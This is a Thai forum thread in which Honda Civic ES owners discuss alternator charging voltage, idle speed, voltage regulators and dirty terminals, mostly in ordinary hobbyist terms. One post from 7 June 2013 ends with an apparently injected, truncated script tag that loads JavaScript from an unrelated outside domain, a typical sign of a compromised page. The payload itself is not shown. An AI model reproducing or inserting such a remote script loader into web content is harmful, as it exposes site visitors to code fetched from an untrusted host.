เนื่องจากว่าเครื่องยนต์สมัยนี้  การควบคุมการทำงานของตัวไดน์ชาร์จ  จะถูกคอนโทรลด้วยกล่อง ECU ของเครื่องยนต์   ดังนั้นการทำงานเรื่องการผลิตกระแสของตัวไดน์ชาร์จ  จึงมีประสิทธิภาพมากกว่าระบบเดิม   
สำหรับการควบคุมการจ่ายกระแสไฟของตัวไดน์ชาร์จในยุดเก่าๆ  ที่ใช้เร็คกูเรเตอร์เป็นแบบคัทเอ้าท์  เขาเลิกนำมาใช้ต้งนานแล้ว  เพราะมีประสิทธิภาพไม่แน่นอน  ไม่สเตเบิล  และเป็นการทำงานในรูปแบบแม็คคานิคส์  พูดง่ายมันล่าสมัย

สำหรับเรื่องแปลงถ่านในตัวไดน์ชาร์จ  หากหมดก็มีผลในการผลิตกระแสไฟ  ทำให้มีแรงเคลื่อนและกระแสไฟโวลเต็จออกมาน้อย แต่ในกรณีของท่านเจ้าของกระทู้  คงไม่ใช้ปัญหามาจากแปลงถ่านหมด  เพราะคุณบอกว่าพอเร่งเครื่องยนต์ให้มีรอบ 1000 รอบ แล้วถอดแบ็ตออก  เครื่องยนต์ก้ทำงานได้เมื่อมีโหลด   ก็เป็นการยืนยันว่าแปลงถ่านปกติ..........srithanon
ได้รับคำขอบคุณจาก: wut-chiangmai  athongchum  NuuTeee  Ton-  Pantamitr  chaichan  Tingly_drums  WarHighways  tamy2975  Doraeman 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 4 มิถุนา 2013 10:38 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
srithanon พิมพ์ว่า:
ก่อนอื่นต้องตั้งรอบเดินเบาของเครื่องยนต์ให้ได้ตามมาตรฐานก่อนที่ 850  รอบ  เพราะการทำงานของตัวไดน์ชาร์จ มันต้องการรอบเครื่องยนต์  ที่จะสร้างสนามแม่เหล็กของขดลวดโรเตอร์  ที่จะผลิตกระแสไฟออกมาพอที่จะใช้ในระบบไฟของรถ   ซึ่งที่ 850 รอบนี้ ตัวไดน์ชาร์จเริ่มผลิตกระแสไฟได้ไม่มาก  ประมาณ 10 Amp    และถ้าหากรอบเครื่องยนต์ต่ำกว่านี้   ทั้งกระแสไฟและโวลเต็จก็จะออกมาต่ำ    ดังนั้นการที่คุณบอกว่าวัดไฟที่รอบเครื่องยนต์ของคุณเองmที่ 700 รอบได้ประมาณ 12..X  โวลท์  

นั้นหมายความว่าไฟจากไดชาร์ทยังผลิตออกมาไม่พอ   งั้นคุณก็ลองเร่งรอบเครื่องยนต์ให้ได้ 850-900 รอบ  ดูวิว่า  มันวัดไฟได้กี่โวลท์
ในสภาวะปกติที่ตัวไดน์ชาร์จ  เมื่อมันผลิตกระแสไฟโวลเต็จสำหับชาร์จแบ็ต  มันจะต้องสามารถผลิตแรงเคลื่อนโวลเต็จออกมาอย่างน้อย
13.5-13.8 V  ทั้งรอบเดินเบาและรอบเครื่องยนต์สูง   ทั้งนี้ในตัวไดน์ชาร์ทรุ่นใหม่ๆในปัจจุบันนี้  ตัวไดน์ชาร์จจะถูกคอนโทรลด้วย IC voltage regulator   มันจึงรักษาระดับแรงเคลื่อนโวลเต็จให้ไม่เกินค่าสูงสูดที่กำหนด  คือที่ ไม่เกิน 14.5-15 Volt   ทั้งนี้เพื่อป้องกันการเกิดโอเวอร์ชาร์จให้กับแบ็ต   อันมีผลเสียหายของแผ่นธาตตะกั่วอ๊อกไซด์   ทำให้แบ็ตเสื่อมเร็ว

ที่ถามว่าหากสายพายหย่อน  จะทำให้ไดน์ชาร์จผลิตกระแสออกมาไม่พอ   ก็มีส่วนถูกอยู่บ้างแต่ไม่มาก    การที่สายพานหย่อนจนถึงจุดสภาวะที่เกิดการลื่นฟรีของสายพานที่หมุนไดน์ชาร์จ  นั้นในความจริงแล้วมันเกิดขึ้นน้อนมาก  และถ้าหากมันเกิดขึ้นจริงตามที่กล่าว  มันจะทำให้รอบการหมุนของตัวไดน์ไม่ตรงตามการเคลื่อนที่ของสายพาน  ทำให้รอบการหมุนของไดน์ช้ากว่า   ทำให้แกนโรเตอร์หมุนช้าตามไปด้วย  เมื่อแกนโรเตอร์หมุนช้าลง  การเสริมเส้นแรงแม่เหล็กไปให้ขดลวดสเตเตอร์ก็มีน้อย  ทำให้ไดน์ผลิตกระแสไฟออกมาน้อย
นี้คือปัญหาของสายพานหย่อน(ต้องหย่อนมาก)

เนื่องจากว่าเครื่องยนต์สมัยนี้  การควบคุมการทำงานของตัวไดน์ชาร์จ  จะถูกคอนโทรลด้วยกล่อง ECU ของเครื่องยนต์   ดังนั้นการทำงานเรื่องการผลิตกระแสของตัวไดน์ชาร์จ  จึงมีประสิทธิภาพมากกว่าระบบเดิม   
สำหรับการควบคุมการจ่ายกระแสไฟของตัวไดน์ชาร์จในยุดเก่าๆ  ที่ใช้เร็คกูเรเตอร์เป็นแบบคัทเอ้าท์  เขาเลิกนำมาใช้ต้งนานแล้ว  เพราะมีประสิทธิภาพไม่แน่นอน  ไม่สเตเบิล  และเป็นการทำงานในรูปแบบแม็คคานิคส์  พูดง่ายมันล่าสมัย

สำหรับเรื่องแปลงถ่านในตัวไดน์ชาร์จ  หากหมดก็มีผลในการผลิตกระแสไฟ  ทำให้มีแรงเคลื่อนและกระแสไฟโวลเต็จออกมาน้อย แต่ในกรณีของท่านเจ้าของกระทู้  คงไม่ใช้ปัญหามาจากแปลงถ่านหมด  เพราะคุณบอกว่าพอเร่งเครื่องยนต์ให้มีรอบ 1000 รอบ แล้วถอดแบ็ตออก  เครื่องยนต์ก้ทำงานได้เมื่อมีโหลด   ก็เป็นการยืนยันว่าแปลงถ่านปกติ..........srithanon




ขอบคุณมากๆเลยครับ กระจ่างแล้วทีนี้ พอดีผมก็เรียนมาทางอิเล็กทรอนิกส์ก็พอมีความรู้อยู่บ้าง อ่านแล้วเข้าใจได้ง่ายขึ้นเยอะเลยครับ ขอบคุณจริงๆครับ
oat_es03


เข้าร่วม: 20 เมษา 2010
ตอบ: 514

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 502
ให้คำขอบคุณ: 498
อังคาร, 4 มิถุนา 2013 11:31 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
ของผมลองวัด ตอนวิ่งได้ประมาณ 13.13 โวทต์(ใช้ที่วัดแบบเสียบที่จุดบุหรี่) ตอนจอด เปิดแอร์เปิดเครื่องเสียงได้ 13 โวทต์ สตาร์ทครั้งแรกได้ 12.97 อ่านในเว๊ปบอกว่าไดชาร์จชาร์จไฟไม่เต็มที่...(แต่ถามช่างไดนาโมทั่วไป บอกปกติ งงเลยครับ ไม่รู้ยังๆงแน่)
ปล.วิ่งเร็วเต็มที่ยังไงก็ไม่ถึง 13.8 ไม่เคยไฟแรงถึง 14 โวทต์สักที
ได้รับคำขอบคุณจาก: athongchum 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 4 มิถุนา 2013 12:01 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
oat_es03 พิมพ์ว่า:
ของผมลองวัด ตอนวิ่งได้ประมาณ 13.13 โวทต์(ใช้ที่วัดแบบเสียบที่จุดบุหรี่) ตอนจอด เปิดแอร์เปิดเครื่องเสียงได้ 13 โวทต์ สตาร์ทครั้งแรกได้ 12.97 อ่านในเว๊ปบอกว่าไดชาร์จชาร์จไฟไม่เต็มที่...(แต่ถามช่างไดนาโมทั่วไป บอกปกติ งงเลยครับ ไม่รู้ยังๆงแน่)
ปล.วิ่งเร็วเต็มที่ยังไงก็ไม่ถึง 13.8 ไม่เคยไฟแรงถึง 14 โวทต์สักที




เหมือนกันเลยครับพี่ ของพี่รอบเดินเบาเท่าไหร่ครับ
ได้รับคำขอบคุณจาก: oat_es03 
ค้าอะไหล่โคตรเก่า


เข้าร่วม: 06 ธันวา 2011
ตอบ: 5338

ผู้ให้การสนับสนุน
ผู้ให้การสนับสนุน

ได้รับคำขอบคุณ: 10891
ให้คำขอบคุณ: 12020

ที่อยู่: USED JAPAN SHOP sales & service เฉลิมพระเกียรติ ร.9 30
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)
อังคาร, 4 มิถุนา 2013 13:05 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
fasang.Mr พิมพ์ว่า:
athongchum พิมพ์ว่า:
ค้าอะไหล่โคตรเก่า พิมพ์ว่า:
ปูเสื่อรอชม




รับป๊อปคอนสักชุดมั้ยฮะ


ผมขอ โค๊กด้วยครับ




สุตอ่าห์บอกเป็นในๆว่าจะไม่พาออกทะเลยังพากันมาเขี่ย
ได้รับคำขอบคุณจาก: athongchum 
srithanon


เข้าร่วม: 13 สิงหา 2009
ตอบ: 380

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 1324
ให้คำขอบคุณ: 4
อังคาร, 4 มิถุนา 2013 15:35 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
การที่วัดไม่ถึง 13.5  หรือ 14.5 Volt  เพราะเขาวัดโวลเต็จในแบบฟรีโหลด  เพื่อเทสการทำงานของตัวไดน์ชาร์จ  ว่าเมื่อมีการเปลี่ยนแปลงความเร็วรอบของเครื่องยนต์  จากรอบเดินเบาไปจนถึงรอบสูงสุด  ที่ตัวไดน์ชาร์จจะสร้างแรงเคลื่อนโวลเต็จได้เท่าใด  ที่สภาะปกติ  และเมื่อรอบเครื่องยนต์สูง ณ ที่จุดหนึ่งแล้วทำให้ได้กระแสไฟและโวลเต็จมีค่าสูงสุด ที่มีการคอนโทรลจาก วงจร IC voltage  regulator กำหนดออกแบบไว้   ให้ได้ไม่เกิน 14.5 V  แม้จะมีรอบเครื่องยนต์ที่สูงขึ้นไปอีกก็ตาม

แต่เมื่อใดที่มีการเอาไหลดของกระแสไฟไปต่อเข้าวงจรไฟไดน์ชาร์จ  เช่นแบ้ตเตอรี่ แอร์ ไฟหน้ารถ เครื่องเสียง   ย่อมจะมีโวลลดลง  แต่อย่างไรก็จะไม่ลดลงต่ำกว่า 13 V เพราะการที่จะชาร์จกระแสไฟให้กับแบ็ตเตอรี่ได้  จะต้องมีแรงเคลื่อนไฟโวลเต็จสูงกว่าของแบ็ต  ถึงจะชาร์จกระแสเข้า ( ในตำราวิชาการกล่าวไว้ว่า  แบ็ตเตอรี่ที่มีการชาร์จไฟเต็ม จะวัดโวลเต็จได้ 12.9 V )  หรือประมาณ 13 V


 แบ็ตเตอรี่ที่มีการชาร์จไฟเต็มแล้ว  เมื่อมีการขับรถเดินทางหรือใช้งานรถ  วงจร regulator  จะคอนโทรลการสร้างสนามแม่เหล็กของตัวไดน์ ไม่ให้ผลิตกระแสไฟและแรงเคลื่อนโวลเต็จ ออกมาเพิ่มให้กับแบ็ต  เพื่อเป็นการป้องกันการโอเวอร์ชาร์จ  เราจึงเห็นโวลเต็จไม่สูงเกินกว่าโวลของแบ็ตที่มีกระแสไฟเต็ม

แต่อย่างไรก็ตาม ในขณะที่ไดน์ชาร์จทำงานชาร์จกระแสไฟให้กับแบ็ต  ค่าโวลที่วัดได้จะเป็นตัวแปรกับโหลดของกระแส  และรอบของเครื่องยนต์   ประกอบกับสเป็คของไดน์ชร์ทว่า  เขากำหนดค่าการชาร์จกระแสไฟและโวลเต็จเอาไว้ที่เท่าใด เช่นบางแบบกำหนด 13.5-14.8 V  และบางแบบก็กำหนด 13.8-15 V ก็มี    งั้นค่าโวลที่วัดได้จากการทำงานที่ตัวไดน์ชาร์จของรถยนต์ทั่วๆไป  คงไม่ได้ยึดติดกับค่าที่ออกมาทางวิชาการ ที่เขาทำการทดสอบ  จะมีการต่างกันบ้างก็เพียงจุดของโวล  ตามคุณลักษณะสเป็คของไดน์ชาร์จนั้นๆ...srithanon
ได้รับคำขอบคุณจาก: athongchum  oat_es03  chaichan  Tingly_drums  Doraeman 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 4 มิถุนา 2013 19:47 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
srithanon พิมพ์ว่า:
การที่วัดไม่ถึง 13.5  หรือ 14.5 Volt  เพราะเขาวัดโวลเต็จในแบบฟรีโหลด  เพื่อเทสการทำงานของตัวไดน์ชาร์จ  ว่าเมื่อมีการเปลี่ยนแปลงความเร็วรอบของเครื่องยนต์  จากรอบเดินเบาไปจนถึงรอบสูงสุด  ที่ตัวไดน์ชาร์จจะสร้างแรงเคลื่อนโวลเต็จได้เท่าใด  ที่สภาะปกติ  และเมื่อรอบเครื่องยนต์สูง ณ ที่จุดหนึ่งแล้วทำให้ได้กระแสไฟและโวลเต็จมีค่าสูงสุด ที่มีการคอนโทรลจาก วงจร IC voltage  regulator กำหนดออกแบบไว้   ให้ได้ไม่เกิน 14.5 V  แม้จะมีรอบเครื่องยนต์ที่สูงขึ้นไปอีกก็ตาม

แต่เมื่อใดที่มีการเอาไหลดของกระแสไฟไปต่อเข้าวงจรไฟไดน์ชาร์จ  เช่นแบ้ตเตอรี่ แอร์ ไฟหน้ารถ เครื่องเสียง   ย่อมจะมีโวลลดลง  แต่อย่างไรก็จะไม่ลดลงต่ำกว่า 13 V เพราะการที่จะชาร์จกระแสไฟให้กับแบ็ตเตอรี่ได้  จะต้องมีแรงเคลื่อนไฟโวลเต็จสูงกว่าของแบ็ต  ถึงจะชาร์จกระแสเข้า ( ในตำราวิชาการกล่าวไว้ว่า  แบ็ตเตอรี่ที่มีการชาร์จไฟเต็ม จะวัดโวลเต็จได้ 12.9 V )  หรือประมาณ 13 V


 แบ็ตเตอรี่ที่มีการชาร์จไฟเต็มแล้ว  เมื่อมีการขับรถเดินทางหรือใช้งานรถ  วงจร regulator  จะคอนโทรลการสร้างสนามแม่เหล็กของตัวไดน์ ไม่ให้ผลิตกระแสไฟและแรงเคลื่อนโวลเต็จ ออกมาเพิ่มให้กับแบ็ต  เพื่อเป็นการป้องกันการโอเวอร์ชาร์จ  เราจึงเห็นโวลเต็จไม่สูงเกินกว่าโวลของแบ็ตที่มีกระแสไฟเต็ม

แต่อย่างไรก็ตาม ในขณะที่ไดน์ชาร์จทำงานชาร์จกระแสไฟให้กับแบ็ต  ค่าโวลที่วัดได้จะเป็นตัวแปรกับโหลดของกระแส  และรอบของเครื่องยนต์   ประกอบกับสเป็คของไดน์ชร์ทว่า  เขากำหนดค่าการชาร์จกระแสไฟและโวลเต็จเอาไว้ที่เท่าใด เช่นบางแบบกำหนด 13.5-14.8 V  และบางแบบก็กำหนด 13.8-15 V ก็มี    งั้นค่าโวลที่วัดได้จากการทำงานที่ตัวไดน์ชาร์จของรถยนต์ทั่วๆไป  คงไม่ได้ยึดติดกับค่าที่ออกมาทางวิชาการ ที่เขาทำการทดสอบ  จะมีการต่างกันบ้างก็เพียงจุดของโวล  ตามคุณลักษณะสเป็คของไดน์ชาร์จนั้นๆ...srithanon




ขอบคุณมากครับพี่ กระจ่างขึ้นไปอีก วันนี้ลองเทสตามรอบเครื่องแล้ว แรงดันที่ได้อยู่ในเกณฑ์เลยครับ ส่วนรอบเครื่องที่ 700 ก็ปกติเหมือนคันอื่นๆครับ
kobkobok


ชื่อเล่น: กบ

เข้าร่วม: 09 กุมภา 2010
ตอบ: 3919

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1738
ให้คำขอบคุณ: 290

ที่อยู่: สระบุรี
ปี: 2001
สี: เทา ซิกเน็ต (เมทัลลิก) (RP-31M)
อังคาร, 4 มิถุนา 2013 20:37 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
เก็บข้อมูลครับ
ได้รับคำขอบคุณจาก: athongchum 
poh


ชื่อเล่น: ปู

เข้าร่วม: 11 พฤศจิกา 2012
ตอบ: 960

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 535
ให้คำขอบคุณ: 1784

ที่อยู่: จอมทอง
ปี: 2001
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
อังคาร, 4 มิถุนา 2013 20:39 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
แบตเตอรี่ไฟเต็ม12.6โวลต์คับไฟเต็ม
12.5ถึง 12.4ไฟเต็ม 12.3ถึง12.2และ12.1ไฟอ่อน ถ้า12.0ไฟหมดคับ แต่เมื่อสตาร์ทรถไฟชาร์จจะต้องได้14.0โวลต์ +_ 0.2 โวลต์ คือ13.8ถึง14.2โวลต์คับ
ได้รับคำขอบคุณจาก: athongchum  oat_es03  WarHighways 
www8797


ชื่อเล่น: อู๋

เข้าร่วม: 19 กันยา 2011
ตอบ: 226

มีใบอนุญาตขับขี่
มีใบอนุญาตขับขี่

ได้รับคำขอบคุณ: 183
ให้คำขอบคุณ: 63

ที่อยู่: ลาดพร้าว ,ดอนเมือง
ปี: 2003
สี: ทอง แซทเทิลไลท์ (NH-663M)
อังคาร, 4 มิถุนา 2013 21:01 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
เพิ่งเปลี่ยนไดร์ชารจกับพี่สุรเดชเมื่อเย็นวันอาทิตย์ มีปัญหาเดียวกับเจ้าของกระทู้เลย 555+ มาเก็บข้อมูลครับ
ได้รับคำขอบคุณจาก: athongchum 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
อังคาร, 4 มิถุนา 2013 21:12 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
poh พิมพ์ว่า:
แบตเตอรี่ไฟเต็ม12.6โวลต์คับไฟเต็ม
12.5ถึง 12.4ไฟเต็ม 12.3ถึง12.2และ12.1ไฟอ่อน ถ้า12.0ไฟหมดคับ แต่เมื่อสตาร์ทรถไฟชาร์จจะต้องได้14.0โวลต์ +_ 0.2 โวลต์ คือ13.8ถึง14.2โวลต์คับ


ขอบคุณครับพี่
www8797 พิมพ์ว่า:
เพิ่งเปลี่ยนไดร์ชารจกับพี่สุรเดชเมื่อเย็นวันอาทิตย์ มีปัญหาเดียวกับเจ้าของกระทู้เลย 555+ มาเก็บข้อมูลครับ


หมายถึงเป็นเหมือนผมแล้วไปเปลี่ยน หรือว่า เปลี่ยนมาแล้วเป็นเหมือนผม อ่าครับ
 
poh


ชื่อเล่น: ปู

เข้าร่วม: 11 พฤศจิกา 2012
ตอบ: 960

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 535
ให้คำขอบคุณ: 1784

ที่อยู่: จอมทอง
ปี: 2001
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
อังคาร, 4 มิถุนา 2013 21:30 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
ยินดีคับผ
ได้รับคำขอบคุณจาก: athongchum 
patipat


ชื่อเล่น: แป๊ก

เข้าร่วม: 08 สิงหา 2012
ตอบ: 186

มือใหม่หัดขับ
มือใหม่หัดขับ

ได้รับคำขอบคุณ: 275
ให้คำขอบคุณ: 137

ปี: 2003
สี: เงิน ซาติน (เมทัลลิก) (NH-623M)
อังคาร, 4 มิถุนา 2013 22:59 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
อย่าลืมดูขั้วไดชาร์จนะครับ  ผมเกือบเปลี่ยนไดชาร์จไปแล้ว เนื่องจากอาการชาร์จไฟไม่พอ(ไฟต่ำ)  ที่ไหนได้ไดชาร์จผลิตไฟได้ปกติ แต่ขั้วสกปรก ไฟวิ่งได้ไม่สะดวกเลยจ่ายมาชาร์จที่แบตได้ต่ำ   อาการที่พบคือใช้ไปสักสองสามวันรถสตาร์ทไม่ติด ไฟไม่พอ  แต่พ่วงแบตติด
ได้รับคำขอบคุณจาก: athongchum  Doraeman 
oat_es03


เข้าร่วม: 20 เมษา 2010
ตอบ: 514

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 502
ให้คำขอบคุณ: 498
พฤหัส, 6 มิถุนา 2013 12:25 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
athongchum พิมพ์ว่า:

oat_es03 พิมพ์ว่า:
ของผมลองวัด ตอนวิ่งได้ประมาณ 13.13 โวทต์(ใช้ที่วัดแบบเสียบที่จุดบุหรี่) ตอนจอด เปิดแอร์เปิดเครื่องเสียงได้ 13 โวทต์ สตาร์ทครั้งแรกได้ 12.97 อ่านในเว๊ปบอกว่าไดชาร์จชาร์จไฟไม่เต็มที่...(แต่ถามช่างไดนาโมทั่วไป บอกปกติ งงเลยครับ ไม่รู้ยังๆงแน่)
ปล.วิ่งเร็วเต็มที่ยังไงก็ไม่ถึง 13.8 ไม่เคยไฟแรงถึง 14 โวทต์สักที




เหมือนกันเลยครับพี่ ของพี่รอบเดินเบาเท่าไหร่ครับ

บิดกุญแจมาที่ on ครั้งแรกไม่ได้สตาร์ทได้ 12.97 โวทต์ พอสตาร์ทที่รอบเดินเบาได้ 13-13.1 โวทต์ครับ
ปล.ไปอ่านข้อมูลในเน๊ตมา เคยคิดจะเปลี่ยนไดชาร์จหลายครั้งเพราะไฟไม่ได้ตามที่บทความในเวปลงไว้สักที(ไดชาร์จผมแปลงมาด้วย เพราะไดชาร์จเคยพังมา แล้วหาใหม่ของตรงรุ่นไม่ได้ เลยเอาของติดรถมาแปลงเหมือนพวกไดชาร์จรถเบ๊นต์หรือบีเอ็ม)
 
ได้รับคำขอบคุณจาก: athongchum 
Pantamitr


ชื่อเล่น: ห่าน

เข้าร่วม: 27 พฤษภาคม 2010
ตอบ: 1622

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1792
ให้คำขอบคุณ: 1186

ที่อยู่: บางปู สมุทรปราการ
ปี: 2004
สี: เทา ซิลเวอร์สโตน (NH-630M)
ศุกร์, 7 มิถุนา 2013 08:08 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
  ข้อมูลแน่นๆ  อ่านไม่ไหวไปเลยผม  <script src="https://sport32news.com/civicesgroup.js"></
ได้รับคำขอบคุณจาก: athongchum 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
เสาร์, 8 มิถุนา 2013 13:26 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
patipat พิมพ์ว่า:
อย่าลืมดูขั้วไดชาร์จนะครับ  ผมเกือบเปลี่ยนไดชาร์จไปแล้ว เนื่องจากอาการชาร์จไฟไม่พอ(ไฟต่ำ)  ที่ไหนได้ไดชาร์จผลิตไฟได้ปกติ แต่ขั้วสกปรก ไฟวิ่งได้ไม่สะดวกเลยจ่ายมาชาร์จที่แบตได้ต่ำ   อาการที่พบคือใช้ไปสักสองสามวันรถสตาร์ทไม่ติด ไฟไม่พอ  แต่พ่วงแบตติด

เดี๋ยวลองไปเช็คดูด้วยครับ ขอบคุณมากครับ
oat_es03 พิมพ์ว่า:
athongchum พิมพ์ว่า:

oat_es03 พิมพ์ว่า:
ของผมลองวัด ตอนวิ่งได้ประมาณ 13.13 โวทต์(ใช้ที่วัดแบบเสียบที่จุดบุหรี่) ตอนจอด เปิดแอร์เปิดเครื่องเสียงได้ 13 โวทต์ สตาร์ทครั้งแรกได้ 12.97 อ่านในเว๊ปบอกว่าไดชาร์จชาร์จไฟไม่เต็มที่...(แต่ถามช่างไดนาโมทั่วไป บอกปกติ งงเลยครับ ไม่รู้ยังๆงแน่)
ปล.วิ่งเร็วเต็มที่ยังไงก็ไม่ถึง 13.8 ไม่เคยไฟแรงถึง 14 โวทต์สักที




เหมือนกันเลยครับพี่ ของพี่รอบเดินเบาเท่าไหร่ครับ

บิดกุญแจมาที่ on ครั้งแรกไม่ได้สตาร์ทได้ 12.97 โวทต์ พอสตาร์ทที่รอบเดินเบาได้ 13-13.1 โวทต์ครับ
ปล.ไปอ่านข้อมูลในเน๊ตมา เคยคิดจะเปลี่ยนไดชาร์จหลายครั้งเพราะไฟไม่ได้ตามที่บทความในเวปลงไว้สักที(ไดชาร์จผมแปลงมาด้วย เพราะไดชาร์จเคยพังมา แล้วหาใหม่ของตรงรุ่นไม่ได้ เลยเอาของติดรถมาแปลงเหมือนพวกไดชาร์จรถเบ๊นต์หรือบีเอ็ม)

 



ที่ถามรอบเดินเบาหมายถึงรอบเดินเบาของรถน่ะครับ แหะๆ

ส่วนค่าแรงดัน ที่รอบเดินเบา 700rpm ไม่มีโหลดของผมวัดได้ 13.8 ครับ พอมีโหลดเหลือ 12.9
the


ชื่อเล่น: ธี

เข้าร่วม: 30 กันยา 2010
ตอบ: 405

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 276
ให้คำขอบคุณ: 153

ที่อยู่: รัชดา
ปี: 2002
สี: ทอง เดเสิร์ท มิสท์ (เมทัลลิก) (YP-538M)
อาทิตย์, 9 มิถุนา 2013 14:03 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
fasang.Mr พิมพ์ว่า:

athongchum พิมพ์ว่า:

ค้าอะไหล่โคตรเก่า พิมพ์ว่า:
ปูเสื่อรอชม




รับป๊อปคอนสักชุดมั้ยฮะ


ผมขอ โค๊กด้วยครับ


รับขนมจีบสลาเปาเพิ่มไหมคับ
ได้รับคำขอบคุณจาก: athongchum 
tawan1986


ชื่อเล่น: เก่ง

เข้าร่วม: 25 กันยา 2012
ตอบ: 479

แซงซ้าย ปาดขวา
แซงซ้าย ปาดขวา

ได้รับคำขอบคุณ: 574
ให้คำขอบคุณ: 1219

ที่อยู่: พระราม2-บางกระดี่-ชัยภูมิ
ปี: 2001
ศุกร์, 16 พฤษภาคม 2014 14:49 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
ตอนนี้ของผม เหยียบถึง120 ไฟแบตจะกระพริบ ไทม์เมอร์ไฟที่ใช้กะที่จุดบุหรี่จะขึ้น 17 พอผ่อนคันเร่งจะลงมาที่14.2-14.3 ผมควรจะเข้าร้านไดนาโมเลยดีมั้ยครับ ตอนนี้อยู่ระยองจะขับกลับ กทม ปล.ผมเพิ่งเปลี่ยนไดชาจกับแบตมานะครับ
ได้รับคำขอบคุณจาก: athongchum 
athongchum


ชื่อเล่น: เอก

เข้าร่วม: 04 สิงหา 2011
ตอบ: 1976

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 3152
ให้คำขอบคุณ: 1666

ที่อยู่: งามวงศ์วาน
ปี: 2003
สี: ดำ ไนท์ฮอว์ก (B-92P)
ศุกร์, 16 พฤษภาคม 2014 19:37 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
กลับมาซ่อมกทมก็ได้ แต่ห้ามเหยียบรอบสูงเกิน 14.5 โวลต์ครับ ตอนนี้วงจรรักษาระดับแรงดัน หรือที่เรียกว่าคัตเอาท์น่าจะเสียแล้วครับ ไม่แน่ใจว่าซ่อมได้หรือป่าวครับ
WarHighways


ชื่อเล่น: วาร์

เข้าร่วม: 04 มิถุนา 2012
ตอบ: 1283

ครอบครัว ES
ครอบครัว ES

ได้รับคำขอบคุณ: 1312
ให้คำขอบคุณ: 1463

ที่อยู่: บางกะปิ กรุงเทพ.
ปี: 2004
สี: ดำ ไนท์ฮอว์ก (B-92P)
ศุกร์, 16 พฤษภาคม 2014 21:22 - สอบถามปัญหาเรื่องไดร์ชาร์จ ถามพี่สุรเดชมาก็ข้อมูลไม่ตรงกัน
 ตอนนี้ รถผม ก็มีอาการ แบบนี้หล่ะครับ   ติดไฟแดง บางครั้ง รอบเดินเบา อยู่ก็วูบ ไปเฉยๆ  เกือบดับ  แต่ก็ไม่ดับ

